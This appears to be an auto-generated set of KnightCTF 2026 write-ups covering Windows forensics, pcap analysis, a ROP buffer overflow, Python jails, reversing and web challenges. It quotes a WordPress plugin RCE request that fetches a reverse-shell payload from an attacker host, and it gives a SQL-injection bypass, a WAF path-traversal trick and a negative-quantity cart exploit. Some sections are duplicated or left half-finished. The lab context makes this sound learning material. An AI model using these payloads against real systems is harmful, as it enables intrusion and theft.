KnightCTF 2026
Here are writeups for all the challenges (except for 3 easy networking ones that I didn't save). Posting this almost 2 weeks late because there was a writeup pause then I forgot. Auto-generated so excuse the inconsistencies.
digital_forensic_boot2root
Event Horizon
Description
Category: Digital Forensic / Boot2Root Points: 375 Solves: 26
Attacker used to crash the service and a "lifeline" embedded in the systems help menu to phone home to their command server. What is the username of the attacker and what is the connected support URL token value?
Flag Format: KCTF{Username_something_here}
Solution
1. Finding the Attacker's Username in Event Logs
The challenge title "Event Horizon" hints at checking Windows Event Viewer logs. Searching the Application.evtx event log revealed a hidden event among thousands of fake login events:
<Event>
<System>
<Provider Name="SystemUserAudit"/>
<EventID>1001</EventID>
<Channel>Application</Channel>
</System>
<EventData>
<Data>user3 logged in and changed the username with robert</Data>
</EventData>
</Event>The PowerShell Operational log (Microsoft-Windows-PowerShell%4Operational.evtx) revealed the attacker's script that injected 1000 fake event logs to hide the real username:
Attacker Username: robert
2. Identifying the C2 URL and Token
The "lifeline" was found in the OEMInformation registry key (help menu configuration):
Found in Microsoft\Windows\CurrentVersion\OEMInformation\SupportURL:
Token Value: Establishes_Persistence
Flag
Key Analysis
Challenge Title Hint: "Event Horizon" pointed to Windows Event Viewer
Event Log Hiding Technique: Attacker injected 1000+ fake SystemUserAudit events (Event ID 1001) with normal-looking "logged in successfully" messages
Hidden Message: One event contained the real username: "user3 logged in and changed the username with robert"
C2 Lifeline: The SupportURL registry key (visible in Windows System Properties help) contained the command server URL
Commands Used
Forensic Evidence Summary
Attacker Username
Application.evtx (Event ID 1001)
robert
Event Injection Script
PowerShell Operational.evtx
Script creating 1000 fake logs
C2 URL
SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation\SupportURL
http://update-window-service.com/auth?token=_Establishes_Persistence
Token Value
SupportURL parameter
Establishes_Persistence
Local Network
Description
Category: Digital Forensic / Boot2Root Points: TBD Solves: TBD
Your task is to investigate the workstation's local DNS mappings and recover forgotten wireless connection profiles. The attacker tampered with local DNS mappings and stored hidden Wi-Fi profiles, essentially tricking the machine into routing traffic to the attacker's personal "home" environment.
Flag Format: KCTF{domain.tld_wifipassword}
Solution
1. Analyzing Local DNS Mappings (hosts file)
The Windows hosts file is used for local DNS resolution. Examining it reveals a suspicious entry added by the attacker:
Found entry:
This leetspeak domain (54ck3r-r0b3rt = "sacker-robert") points to localhost, allowing the attacker to establish a local C2 channel.
Domain Value: 54ck3r-r0b3rt.local
2. Recovering Hidden WiFi Profile from NTFS Alternate Data Stream
The challenge mentions "forgotten wireless connection profiles." These were hidden using NTFS Alternate Data Streams (ADS) - a technique to hide data within a file's metadata.
Found ADS attribute: user.wifi
Decoded WLAN Profile XML:
WiFi Password: Il0vesomeone1337
Flag
Key Analysis
Local DNS Manipulation: Attacker added
54ck3r-r0b3rt.localto hosts file pointing to 127.0.0.1NTFS ADS Hiding Technique: WiFi credentials hidden in Alternate Data Stream of ReadMe.txt
Base64 Encoding: WLAN profile was base64-encoded within the ADS
Plaintext Password Storage: WiFi password stored unprotected in XML profile
Commands Used
Forensic Evidence Summary
Malicious DNS Entry
Windows/System32/drivers/etc/hosts
127.0.0.1 54ck3r-r0b3rt.local
Hidden WiFi Profile
ProgramData/ReadMe.txt:user.wifi (ADS)
Base64-encoded WLAN XML
WiFi SSID
WLAN Profile
Intern-Guest-Wifi
WiFi Password
<keyMaterial> element
Il0vesomeone1337
Echoes of 127
Description
Category: Digital Forensic / Boot2Root
Your task is to investigate the workstation's local DNS mappings and recover forgotten wireless connection profiles. The attacker tampered with local DNS mappings and stored hidden Wi-Fi profiles, essentially tricking the machine into routing traffic to the attacker's personal "home" environment.
Flag Format: KCTF{siam.com_wifipassword}
Solution
1. Analyzing Local DNS Mappings (hosts file)
The Windows hosts file is used for local DNS resolution. Examining it reveals a suspicious entry added by the attacker:
Found entry:
This leetspeak domain (54ck3r-r0b3rt = "sacker-robert") points to localhost, allowing the attacker to establish a local C2 channel.
Domain Value: 54ck3r-r0b3rt.local
2. Recovering Hidden WiFi Profile from NTFS Alternate Data Stream
The challenge mentions "forgotten wireless connection profiles." These were hidden using NTFS Alternate Data Streams (ADS) - a technique to hide data within a file's metadata.
Found ADS attribute: user.wifi
Decoded WLAN Profile XML:
WiFi Password: Il0vesomeone1337
Flag
Key Analysis
Local DNS Manipulation: Attacker added
54ck3r-r0b3rt.localto hosts file pointing to 127.0.0.1NTFS ADS Hiding Technique: WiFi credentials hidden in Alternate Data Stream of ReadMe.txt
Base64 Encoding: WLAN profile was base64-encoded within the ADS
Plaintext Password Storage: WiFi password stored unprotected in XML profile
Commands Used
Forensic Evidence Summary
Malicious DNS Entry
Windows/System32/drivers/etc/hosts
127.0.0.1 54ck3r-r0b3rt.local
Hidden WiFi Profile
ProgramData/ReadMe.txt:user.wifi (ADS)
Base64-encoded WLAN XML
WiFi SSID
WLAN Profile
Intern-Guest-Wifi
WiFi Password
<keyMaterial> element
Il0vesomeone1337
Phone Location
Description
Category: Digital Forensic / Boot2Root Points: 475 Solves: 6
Findout the attacker phone number and his last location when he used his MACOS.
Flag Format: KCTF{+88015121220632_123.123.123.123}
Status: SOLVED β
Flag: KCTF{+88013374041337_172.16.0.1}
Investigation Summary
Target Information
Phone Number Format: Bangladesh country code
+880followed by mobile numberLocation Format: Appears to be an IP address (123.123.123.123 format)
Key Hint: "MACOS" - unclear if this refers to Apple MacOS or something else
Artifacts Searched
1. Windows Event Logs
Application.evtx - Found the hidden "robert" username event (from Event Horizon challenge)
PowerShell Operational.evtx - Found scripts that generated fake events, no phone/location data
All other evtx files - Searched for phone patterns (+880, 0151) and location data
Result: No phone numbers or location data found
2. Registry Hives
SOFTWARE - Searched for phone, MACOS, MacBook, coordinates
SYSTEM - Similar search
All NTUSER.DAT files - Searched each user's registry
Result: No relevant data found
3. User Directories
Examined all user accounts:
Admin2, Admin3, User1, User2, User3, User4, User5, vboxuser
Key Findings:
User3 (robert) - The attacker's account
User4 - Contains suspicious contact file
4. Contacts Investigation
File Found: /Users/User4/Contacts/Dr. Yunus.contact
Note says "h1dden_c0ntr4ct5" (leetspeak for "hidden_contracts")
Checked for ADS on this file - none found
Related Document: /Users/User4/Documents/Work_Doc_4_13717.docx
Content: "Confidential Note: I tried to contacts with admin. I have list of contacts please see my contacts message."
Points to the contacts folder
5. Recycle Bin
Location: $Recycle.Bin/S-1-5-21-3352790620-1126021755-2065935930-1006/
Files Found:
$R_InternSecret.txt- Contains hex:4B4354467B726563307633725F55733372345FDecoded:
KCTF{rec0v3r_Us3r4_(partial flag for different challenge)$I0IN63I.docx- Metadata for deleted file from User4/Documents
6. NTFS Alternate Data Streams (ADS)
Found:
ProgramData/ReadMe.txt:user.wifi- Contains WiFi profile (for Local Network challenge)No phone/location ADS found on any files
7. Browser Data
Edge History - Checked all users, found Telegram bot link in User2
Edge Autofill - All tables empty
Edge Web Data - No phone numbers stored
8. Image EXIF Data
Checked all JPG files in user Pictures folders
No GPS coordinates or phone data in EXIF
9. MacOS-Specific Artifacts
Searched for
.DS_Storefiles - none foundSearched for
._*resource fork files - none foundSearched for
.plistfiles - none foundNo evidence of MacOS-synced data
10. SSH/Remote Connection
Checked
ProgramData/ssh/- emptyNo
known_hostsor SSH keys foundNo remote connection logs with IP addresses
Search Patterns Used
Tools Used
python-evtx- Event log parsingsqlite3- Browser database analysisgetfattr- NTFS ADS detectionstrings- Binary file analysisexiftool- Image metadata extractionregipy- Registry analysis (attempted)
Potential Next Steps
Deeper Binary Analysis - Use specialized forensic tools to examine binary files
Registry Deep Dive - Use full registry parsing with regipy
Browser Cache - Examine Edge cache files for stored form data
Windows Address Book - Check WAB database files
Encrypted Stores - Check for encrypted credential stores
"MACOS" Interpretation - May be an acronym or code word, not Apple MacOS
Related Challenges Solved
Void Echo
KCTF{ksacademy3321}
Event Horizon
KCTF{robert_Establishes_Persistence}
Echoes of 127
(Solved separately)
Local Network
KCTF{54ck3r-r0b3rt.local_Il0vesomeone1337}
Solution
The key was to follow the C2 channel (Telegram bot) found in User2's browser history.
Step 1: Contact the Telegram Bot
Bot:
@comrade404_bot(found in User2's Edge browser history)
Step 2: Complete Verification
TIER 1: Which user account for online search? β B) User2
TIER 2: Which user account name was changed? β C) User3
Step 3: Get Credentials
After verification, the bot provided:
Website:
http://104.237.130.169:5000Username:
mehackerPassword:
flaghere
Step 4: Login to Dashboard
Found phone number displayed:
+88013374041337Found HTML comment hint:
<!-- SECRET: Try accessing /api/history for login history data -->
Step 5: Check Login History
Accessed /api/history which returned login records with OS types:
The last macOS login was on 2024-12-11 with IP 172.16.0.1.
Key Insight
The "MACOS" in the challenge description referred to the operating system field in the login history - we needed to find the IP address from the most recent macOS login, not Apple-specific forensic artifacts.
Discarded Directory
Challenge Description
The intern claimed they cleaned up their workspace before leaving but their digital hygiene is questionable. Forensic analysis suggests a critical flag fragment was tossed into the system's waste disposal. Rest of them hint with them. Note: complete flag with }. Follow the flag format.
Recycle Bin Analysis
Based on description.md hint about "waste disposal" and "discarded directory", the Recycle Bin was analyzed:
User4's Recycle Bin ($Recycle.Bin/S-1-5-21-...-1006/)
Found deleted files:
$R_InternSecret.txt - Contains hex:
4B4354467B726563307633725F55733372345FDecoded:
KCTF{rec0v3r_Us3r4_
Dr. Yunus.contact - Windows Contact file
Notes field contains:
h1dden_c0ntr4ct5
** Flag ** KCTF{rec0v3r_Us3r4_h1dden_c0ntr4ct5}
Instructor Account Compromised
Challenge Description
Points: 490 Author: pmsiam0
What is the admin2 password?
Flag Format:
KCTF{password}
Key Context from Main Description (01_void_echo)
Admin2 was working with User5 on website development
Admin2 made a mistake - their password/footprint was leaked in User5's account
This is how the attacker escalated privileges from user to admin
Solution
Step 1: Analyze User5's Activity History
Examined User5's ActivitiesCache.db to understand their recent actions:
Key Findings:
User5 edited
set.htmlon Desktop for 428 seconds using NotepadUser5 opened Edge's Local Storage file
000003.logwith NotepadUser5 performed a Copy operation from the leveldb file (clipboard activity recorded)
Step 2: Examine Edge Local Storage
The clipboard activity indicated User5 copied something from Edge's Local Storage. Extracted strings from the leveldb log file:
Step 3: Find the Leaked Credentials
In the leveldb file, found credentials stored under the file:// origin (local HTML file storage):
Explanation
Admin2 (with role "instructor") was collaborating with User5 on local web development. They opened a local HTML file (set.html) in Edge browser. The web application stored Admin2's session token in the browser's Local Storage under the file:// origin.
This is the "password leak" mentioned in the challenge description - Admin2's credentials persisted in User5's browser storage from their shared web development work.
The SessionToken T4r3Qhas5gf is Admin2's password.
Flag
Forensic Evidence Summary
Activity Timeline
User5/AppData/Local/ConnectedDevicesPlatform/L.User5/ActivitiesCache.db
User5 edited set.html, opened leveldb log, copied content
Leaked Credentials
User5/AppData/Local/Microsoft/Edge/User Data/Default/Local Storage/leveldb/000003.log
SessionToken: T4r3Qhas5gf, UserRole: instructor
File Origin
file:// in Local Storage
Indicates local HTML file was opened in browser
Tools Used
sqlite3- ActivitiesCache.db analysisstrings- Extract readable content from leveldb files
Key Takeaways
Browser Local Storage persists across sessions - credentials stored by web apps remain in leveldb files
Windows Activity Timeline records clipboard operations with unique IDs
Local file:// origins in browsers store data separately from web origins
Collaboration on local web development can inadvertently leak credentials through browser storage
Illegal Access to Admin3
Challenge Description
Points: 490 Author: pmsiam0
Admin3 has super secret information. Can you see it?
Note: Wrap the flag in KCTF{} and replace space with underscore (_).
Flag Format:
KCTF{S0mething_here}
Solution
Step 1: Investigate Admin3's Profile
Started by exploring Admin3's user directory for any interesting files:
Key Finding: Found BGInfo.zip and extracted BGInfo folder in Downloads.
BGInfo is a Sysinternals tool that displays system information on the desktop wallpaper - a potential hiding spot for "super secret information."
Step 2: Check BGInfo Registry Configuration
BGInfo stores its configuration in the Windows Registry. Used regipy to analyze Admin3's NTUSER.DAT:
Step 3: Extract the Secret from RTF Field
Found the BGInfo configuration contained an RTF field with custom text to display on the desktop:
The secret text embedded in the RTF is: ult1m4t3 f1nal ch4ll
This is leetspeak for "ultimate final chall(enge)" - the "super secret information" that Admin3 had configured to display on their desktop background.
Registry Path
Flag
Forensic Evidence Summary
BGInfo Download
Admin3/Downloads/BGInfo.zip
Sysinternals BGInfo tool downloaded
BGInfo EULA Accepted
NTUSER.DAT\Software\Sysinternals\BGInfo\EulaAccepted
Value: 1 (tool was used)
Secret Information
NTUSER.DAT\Software\Winternals\BGInfo\RTF
Contains ult1m4t3 f1nal ch4ll
Wallpaper Config
NTUSER.DAT\Software\Winternals\BGInfo\Wallpaper
C:\Windows\web\wallpaper\Windows\img0.jpg
Tools Used
regipy- Windows Registry hive analysisPython scripting for registry parsing
Key Takeaways
BGInfo stores configuration in the registry under both
SysinternalsandWinternalskeysRTF fields in registry can contain hidden text that would be rendered on desktop
Desktop wallpaper overlays are a creative way to hide information in plain sight
Sysinternals tools leave forensic traces in the registry even after the tool is closed
BGInfo Overview
BGInfo (Background Info) is a legitimate Sysinternals utility that:
Displays system information on the desktop wallpaper
Stores configuration in
HKCU\Software\Winternals\BGInfoCan display custom text via RTF formatting
Is commonly used by IT administrators to show computer name, IP address, etc.
In this case, Admin3 configured BGInfo to display secret information (ult1m4t3 f1nal ch4ll) on their desktop background, which was recoverable through registry forensics.
networking
Exploitation
Description
The attacker appears to have identified a web application running on our server. We need to determine what application was being targeted. Find the version and username associated with the application in the capture.
Flag Format: KCTF{version_username}
Solution
The challenge provides a pcap file (pcap2.pcapng) containing network traffic of an attack against a WordPress installation.
Step 1: Identify the attack traffic
After extracting the pcap, HTTP traffic to 192.168.1.102 revealed WordPress-related requests:
Step 2: Find the WordPress version
Exported HTTP objects and searched for the generator meta tag:
Output:
The targeted WordPress version is 6.9.
Step 3: Find the username
The attacker used WPScan to enumerate users via the WP REST API:
Following the TCP stream revealed the JSON response:
The username enumerated was kadmin_user.
This was confirmed by examining login attempts:
Output:
Flag:
Vulnerability Exploitation
Description
Our web application was compromised through a vulnerable plugin. The attacker exploited a known vulnerability to gain initial access. Identify the vulnerable plugin and its version that was exploited.
Flag Format: KCTF{plugin_name_version}
Solution
Using the same pcap file, we need to identify the vulnerable WordPress plugin.
Step 1: Search for plugins in HTTP traffic
This revealed WPScan probing multiple plugin paths including /wordpress/wp-content/plugins/social-warfare/readme.txt.
Step 2: Identify the vulnerable plugin
Examining the exported HTTP objects for plugin references:
Output:
The HTML comments and asset URLs confirm Social Warfare v3.5.2 is installed:
Step 3: Verify with readme.txt
The plugin's readme.txt confirms:
Vulnerability Context:
Social Warfare versions < 3.5.3 are vulnerable to CVE-2019-9978, an unauthenticated Remote Code Execution (RCE) vulnerability that allows attackers to execute arbitrary PHP code via a crafted payload.
Flag:
Post-Exploitation
Description
After exploiting a vulnerability, the attacker established a persistent connection back to their command and control server. The task is to analyze the network traffic capture to identify:
The HTTP port used for the initial payload delivery
The port used for the reverse shell connection
Flag format: KCTF{httpPort_revshellPort}
Solution
Extract and analyze the pcap file
Extracted pcap3.pcapng from the provided zip archive.
Identify the reverse shell connection
First, examined TCP conversations to find suspicious connections:
Found a long-duration connection from 192.168.1.102:39582 to 192.168.1.104:9576 lasting ~300 seconds - characteristic of a reverse shell.
Confirm the reverse shell
Extracted the TCP stream data:
Output confirmed a bash reverse shell:
Reverse shell port: 9576
Find the HTTP payload delivery port
Analyzed HTTP requests around the time the reverse shell was established:
Found the attack sequence at ~882 seconds:
882.295920s: Attacker sends exploit to WordPress:GET /wordpress//wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.1.104:8767/payload.txt882.308398s: WordPress server fetches payload from attacker on port 8767:GET /payload.txt?swp_debug=get_user_options
Verify the payload
Extracted the payload delivered on port 8767:
Payload content:
This is a Social Warfare WordPress plugin RCE exploit (CVE-2019-9978) delivering a PHP reverse shell that connects back to port 9576.
HTTP payload delivery port: 8767
Flag
Database Credentials Theft
Description
The attacker's ultimate goal was to access the database. During the post-exploitation phase, they managed to extract database credentials from the compromised system. Find the database username and password that were exposed.
Flag format: KCTF{username_password}
Solution
Using the same pcap file, I analyzed the reverse shell traffic to identify what commands the attacker executed and what data was exfiltrated.
Extract full reverse shell session
Analyze attacker commands
The attacker performed the following actions in the reverse shell:
Listed files in
/var/www/html/wordpress/wp-admin/Attempted
cat wp-config.php(failed - wrong directory)Changed directory to
/var/www/html/wordpress/Ran
cat wp-config-sample.php(template file with placeholder values)Ran
cat wp-config.php(actual configuration with real credentials)
Extracted database credentials from wp-config.php
The wp-config.php file contained the actual database configuration:
The attacker successfully exfiltrated:
Username:
wpuserPassword:
wp@user123
Flag
Reconnaissance
Description
A mid-sized e-learn company "Knight Blog" detected suspicious network activity. We were given a packet capture (pcap1.pcapng) and asked to determine how many ports were found to be open on the target system during the attacker's scanning activity.
Flag Format: KCTF{number}
Solution
Extract and identify the pcap file
The capture contains 141k packets over 445 seconds.
Identify the scanner and target
The main traffic is between 192.168.1.104 (attacker/scanner) and 192.168.1.102 (target).
Confirm full port scan
Result: 65535 - All ports were scanned (full TCP SYN scan).
Find open ports (SYN-ACK responses)
Result:
Port 22 (SSH)
Port 80 (HTTP)
Verify with closed ports (RST-ACK responses)
Result: 65533 closed ports + 2 open ports = 65535 total (confirmed)
The analysis shows that the attacker performed a full TCP SYN scan against 192.168.1.102. The target responded with SYN-ACK packets (indicating open ports) only for ports 22 and 80, while all other ports returned RST-ACK (closed).
Flag: KCTF{2}
Gateway Identification
Description
During the initial reconnaissance, the attacker gathered information about the network infrastructure. We need to identify the vendor of the network device acting as the default gateway in the capture.
Flag Format: KCTF{vendor_name}
Solution
Identify traffic going to external IPs
Traffic destined for external IP addresses must be sent to the gateway's MAC address at layer 2.
Result: All outbound traffic is sent to MAC
88:bd:09:38:d7:a0Confirm gateway IP via ARP
Output shows:
This confirms the gateway IP is 192.168.1.1 with MAC 88:bd:09:38:d7:a0
Lookup MAC OUI for vendor
Result:
Netis Technology Co., Ltd.
The default gateway at 192.168.1.1 has MAC address 88:bd:09:38:d7:a0, which belongs to Netis Technology.
Flag: KCTF{Netis}
pwn_jail
Knight Squad Academy
Description
PWN & Jail challenge (100 pts) - A simple enrollment kiosk binary with a buffer overflow vulnerability.
Solution
1. Binary Analysis
The binary ksa_kiosk has the following protections:
Full RELRO
No Stack Canary
NX Enabled
No PIE (fixed addresses at 0x400000)
2. Reverse Engineering
Disassembling the binary revealed:
Flag function at
0x4013ac: Checks if the argument (rdi) equals the magic value0x1337c0decafebeef. If true, it opens./flag.txtand prints its contents.Registration function at
0x401514:Reads cadet name (0x20 bytes) into buffer at
rbp-0x30Reads enrollment notes (0xf0 = 240 bytes) into buffer at
rbp-0x70Vulnerability: The notes buffer at
rbp-0x70only has 0x70 bytes before the base pointer, but reads 0xf0 bytes, causing a stack buffer overflow.
ROP gadget at
0x40150b:pop rdi; ret
3. Exploit Development
Calculate offset to return address:
Notes buffer starts at
rbp - 0x70Return address is at
rbp + 8Offset =
0x70 + 8 = 0x78 = 120 bytes
ROP chain:
Padding (120 bytes)
pop rdi; retgadget (0x40150b)Magic value (
0x1337c0decafebeef)Flag function address (
0x4013ac)
4. Exploit Code
Flag: KCTF{_We3Lc0ME_TO_Knight_Squad_Academy_}
Knight Squad Academy Jail
Description
A Python jail challenge with the hint "I don't like words but I love chars." The service runs on nc 66.228.49.41 1337.
Solution
Connecting to the service reveals a restricted Python expression evaluator that blocks most names, functions, and AST node types.
Exploration phase:
Through testing, I discovered the jail allows:
Integer and boolean arithmetic
String literals (including hex escapes like
'\x41')Comparisons and bitwise operations
But blocks:
Lists, tuples, dicts, subscripts, attributes
Most variable names and functions (
print,open,chr,ord, etc.)
Finding the Oracle:
Systematic testing of single-character function names revealed three available functions:
Testing revealed:
L()returns 28 (the flag length)S('test')returns 'Nope.' (string comparison oracle)Q(0, 75)returns 0 (position/ASCII code oracle, returns 0 on match, -1 otherwise)
Extracting the flag:
Since Q(i, x) checks if the character at position i equals ASCII code x, I brute-forced each position:
The flag spells out "no words char" with underscores between each letter, matching the challenge hint.
Flag: KCTF{_n_o_w_o_r_d_s_c_h_a_r}
Knight Squad Academy Jail 2
Challenge Info
Category: Pwn/Jail
Server:
nc 66.228.49.41 41567Hint: "only a knight can help you"
Analysis
Initial Exploration
Connecting to the server shows a Python jail prompt:
Unlike typical jails, almost every input returns error. The key insight was that the server has delayed output buffering - responses only appear after sending multiple lines.
Finding the Oracle
Through systematic testing, I discovered:
Function call syntax works:
X()returns"X() doesn't exist"for most lettersknight()is special: Returnserrorinstead of "doesn't exist"knight(string)is the oracle: Takes a string argument
Testing string lengths revealed:
Strings < 30 chars:
"too short"Strings > 30 chars:
"too long"Strings = 30 chars: Returns
"X Y"format
Oracle Semantics
The oracle knight(guess) returns "X Y" where:
X = Position of first mismatch (1-indexed)
Y = Unknown secondary value (possibly distance metric)
Example responses:
Flag Format
Total length: 30 characters
Format:
KCTF{(5) + content (24) +}(1)
Solution Strategy
Character-by-character brute force:
Start with known prefix
KCTF{For each position 6-29:
Try each character in charset
If
mismatch_position > current_position, that character is correctAppend to flag and continue
Discovered Flag Characters
Through manual testing:
Position 6:
_Position 7:
aPosition 8:
NPosition 9+: (continue with solver)
Solver
Technical Notes
Server buffering: The server doesn't flush output immediately. Need to send multiple commands and wait ~2 seconds before receiving.
Rate limiting: Server may disconnect if too many requests are sent at once. The solver uses batches of 20 characters with delays.
String formatting: Use single quotes inside
knight()to avoid escaping issues:knight('KCTF{...}')
Flag
Message: "aNOtHER_JAIL_Y0U_bRoKE" = "another jail you broke"
reverse_engineering
E4sy P3asy
Description
Reverse the provided ELF to recover the correct KCTF{...} flag. The binary validates input using MD5 hashes and a salted perβcharacter check.
Solution
Unzip and inspect the binary, then locate the relevant logic:
objdump -s -j .rodatashows many 32βchar hex strings (MD5 digests).r2 -Areveals the main logic at0x1140and a helper at0x1660that computes MD5 and formats it as hex.The program:
Strips newline.
Rejects nonβ
KCTF{formats (also has aGoogleCTF{decoy path).Requires length 0x17 (23) for the flag body.
Uses a salt string built on the stack:
KnightCTF_2026_s@lt.For each index
iand charactercin the flag body, it computesmd5( "KnightCTF_2026_s@lt" + str(i) + c )and compares to a table of MD5 hex strings stored in.rodataand referenced by.data.rel.ro.
Extract the MD5 table from
.data.rel.roand bruteβforce each character by matching MD5 hashes. The following script reproduces the check and recovers the 23βchar body:
Output:
Final flag:
KCTF{_L0TS_oF_bRuTE_foRCE_:P}
ReM3
Description
Reverse a stripped 64-bit ELF binary with multiple decoy flags to find the real flag. The binary validates input through a custom byte transformation algorithm.
Solution
Initial Analysis: The binary is a 500MB stripped ELF (padded with zeros). Running
stringsreveals several decoy flags:KCTF{fake_flag_for_reversers}KCTF{hash_passes_but_fake!!!}KCTF{str1ngs_lie_dont_trust!}
Disassembly of main logic at
0x10c0:Reads 29-character input
Check 1: Direct
memcmpwithKCTF{str1ngs_lie_dont_trust!}β decoyCheck 2: FNV-1a hash comparison (
0xe76fa3daba5d6f3a) β decoyCheck 3: Custom transformation + comparison with target bytes β SUCCESS
Check 4: Same transformation + different target β another decoy
Transformation function at
0x14c0: A reversible byte cipher using:Two 64-bit constants:
R10 = 0x2f910ed35ca71942,R9 = 0x6a124de908b17733Per-byte operations: XOR, ROL, ROR with position-dependent values
State variables (
edi,esi,r8d) updated each iteration
Key transformation steps for each byte at index
rdx:Extract target bytes from
.rodatafor the SUCCESS path (at0x2160,0x2150,0x2140):Reverse the transformation by inverting each operation in reverse order:
ROL to reverse ROR
XOR to reverse XOR
Subtract to reverse add
ROR to reverse ROL
XOR to recover original byte
Solution script:
Flag:
KCTF{w3Lc0m3_T0_tHE_r3_w0rLD}
KrackM3
Description
A 64-bit stripped ELF binary with multiple validation paths. The challenge requires finding a 32-character flag in format KCTF{...} that passes a specific validation path (the "real flag" path) while failing others (decoy paths).
Solution
Initial Analysis: The binary is a 500MB file (padded with zeros). Key strings include:
KCTF{- flag prefixSuccess! Real flag accepted.- real flag messageSuccess! ...but you won't get points for this flag :P- decoy message
Format Check at
0x401890: Requires exactly 32 characters with formatKCTF{...26 chars...}:Positions 0-3:
KCTFPosition 4:
{Position 31:
}
Validation Logic at
0x401590: The function implements a complex stateful cipher that:Generates S-box and inverse S-box (256-byte lookup tables)
Generates a random table using xorshift64*
For each input character, computes a transformed value using XOR, rotate, and S-box operations
Compares against four different target tables (paths 1-4)
Key Insight - Multiple Paths: The function checks 4 paths simultaneously:
Path 1 (
sp+7): Real flag path - targets from0x402280/402290/4022a0Paths 2-4 (
sp+4,5,6): Decoy paths with slightly different targets
For SUCCESS:
Path 1 must fully match (all XOR results = 0)
Paths 2-4 must have at least one mismatch each (to avoid decoy)
Solution Approach: Using GDB to trace the XOR operation at
0x401797which computesr13 ^ targetfor path 1:If XOR = 0, the position matches
The first 5 characters
KCTF{are fixed and pass path 1Need to brute-force positions 5-30 to find chars where XOR = 0
Solver Script:
Flag:
KCTF{_R3_iS_FuNR1gHT?_EnjOy_r3_}
rem3_again
Description
A 64-bit PIE ELF binary that validates a 38-character flag in format KCTF{...}. The binary implements multiple validation paths with decoy checks that lead to fake "success" messages, while only one path leads to the real flag acceptance.
Solution
Initial Analysis: The binary contains key strings:
Success! Real flag accepted.- real flag messageSuccess! ...but you won't get points for this flag :P- decoy message
Validation Flow: The binary checks the input against multiple target byte arrays:
chk_first(x_g)- decoy check (must NOT match)chk_first(x_f)- decoy check (must NOT match)chk_first(x_d)- decoy check (must NOT match)eq(input, t(x_r))- real check (must match)
For the real success path:
All three decoy checks must return 0 (no match)
The final
eqcomparison must return 1 (match)
Key Functions:
p()at 0x13e0: Generates S-box and inverse S-box (256-byte lookup tables)cat3()at 0x1540: Concatenates three byte arrays into 38-byte targett()at 0x1570: Transforms target bytes using inverse S-boxeq()at 0x16b0: Compares 38 bytes for equality
Solution Approach: The transformation
t()converts the target constantsx_r0,x_r1,x_r2into the expected input. By breaking at address 0x1213 (just before the finaleqcall), we can read the transformed target directly from memory.Solver Script:
Flag:
KCTF{aN0Th3r_r3_I_h0PE_y0U_eNj0YED_IT}
webapi
Admin Panel
Description
Login and get the flag.
URL: http://50.116.19.213:3000/ Category: WEB/API Points: 100
Solution
Vulnerability Discovery
The login form at /login accepts username and password via POST. Testing revealed:
Single quotes (
') are blocked with "Not injectable" responseThe backslash character (
\) is NOT filtered
Using a backslash at the end of the username escapes the closing quote in the SQL query, allowing injection through the password field.
SQL Injection Technique
The original query is likely:
With input username=\ and password= OR 1=1 #, the query becomes:
The \' escapes the quote, making \' AND password= a literal string. The OR 1=1 bypasses authentication, and # comments out the rest.
Exploitation
Testing UNION injection revealed the query returns 2 columns. The first column is displayed as the username on the dashboard.
Final Payload:
This injects:
The UNION query retrieves the flag from the flag table's value column and displays it as the username.
Exploit Code
Or via curl:
Flag
Knight Shop Again
Description
A modern e-commerce platform for medieval equipment. The challenge involves a web shop built with Express.js backend and React frontend. Users start with a balance of 50, but the "Legendary Excalibur" item costs 199.99 - making it unaffordable through normal means.
Target: http://23.239.26.112:8087/
Solution
Reconnaissance: Analyzed the React frontend JavaScript to identify API endpoints:
/api/auth/register- Register new user/api/auth/login- Login/api/cart- Add items to cart (POST), view cart (GET)/api/checkout- Complete purchase
Vulnerability Discovery: The cart API endpoint accepts a
quantityparameter from the client without proper validation. When adding items to cart:Exploitation: The server accepts negative quantities. When quantity is -1, the total becomes:
This negative total is subtracted from the balance, effectively adding money to the account.
Exploit Steps:
Result: The checkout succeeds with a negative total of -199.99, increasing the balance to 249.99 and revealing the flag.
Flag
Vulnerability Type
Improper Input Validation - The server fails to validate that the quantity parameter is a positive integer, allowing negative values that result in price manipulation.
KnightCloud
Description
A SaaS platform with premium features locked behind a paywall. The goal is to access the premium analytics dashboard without paying.
Solution
The vulnerability is an exposed internal API endpoint that allows arbitrary user tier upgrades without authentication.
Step 1: Analyze the JavaScript bundle
Fetching the main JavaScript file (/assets/index-DH6mLR_s.js) reveals internal API configuration:
Additionally, a global __KC_INTERNAL__ object exposes an example showing how the endpoint works:
Step 2: Register an account
Response contains the user's UID and JWT token:
Step 3: Exploit the internal migration endpoint
The internal endpoint /api/internal/v1/migrate/user-tier is accessible without authentication and allows upgrading any user to premium:
Response:
Step 4: Access premium analytics
Response contains the flag:
Flag: KCTF{Pr1v1l3g3_3sc4l4t10n_1s_fun}
Vulnerability Summary
Type: Broken Access Control / Privilege Escalation
Issue: Internal API endpoint exposed without authentication
Impact: Any user can upgrade their account tier to access premium features
Fix: Restrict internal endpoints to internal networks or require admin authentication
WaF
Description
Category: WEB/API Points: 190 Solves: 63
You can't get the /flag.txt ever.
Link: http://45.56.66.96:7789/
Solution
The challenge presents a Flask web application with a WAF (Web Application Firewall) that blocks path traversal attempts.
Source Code Hint (in HTML comment):
The WAF performs a simple substring check: if the filename contains .. or %, access is denied.
Key Observations:
The challenge name "WaF" has a lowercase 'a', matching the
{a}format string in the HTMLThe author hint mentioned "url globbing" - referring to brace expansion patterns
The WAF checks for the literal string
..before any pattern expansion
The Bypass:
The trick is to use URL globbing/brace expansion syntax {.} which expands to .. By using {.}{.}, we construct .. AFTER the WAF check:
Raw path:
{.}{.}/{.}{.}/flag.txtWAF sees:
{.}{.}/{.}{.}/flag.txt(no literal..- PASS)After expansion:
../../flag.txt(path traversal achieved)
Exploit:
URL decoded: /{.}{.}/{.}{.}/flag.txt
Flag: KCTF{7fdbbcd6c3cee0ae65c5ca327c14a25f6e473d1c}
Key Takeaway
The vulnerability is a classic check-vs-use mismatch: the WAF checks for .. on the raw URL pattern, but the file system operation happens after brace/glob expansion. The {.} pattern is expanded to . by Python's glob or brace expansion mechanism, allowing {.}{.} to become .. and bypass the naive substring filter.
Last updated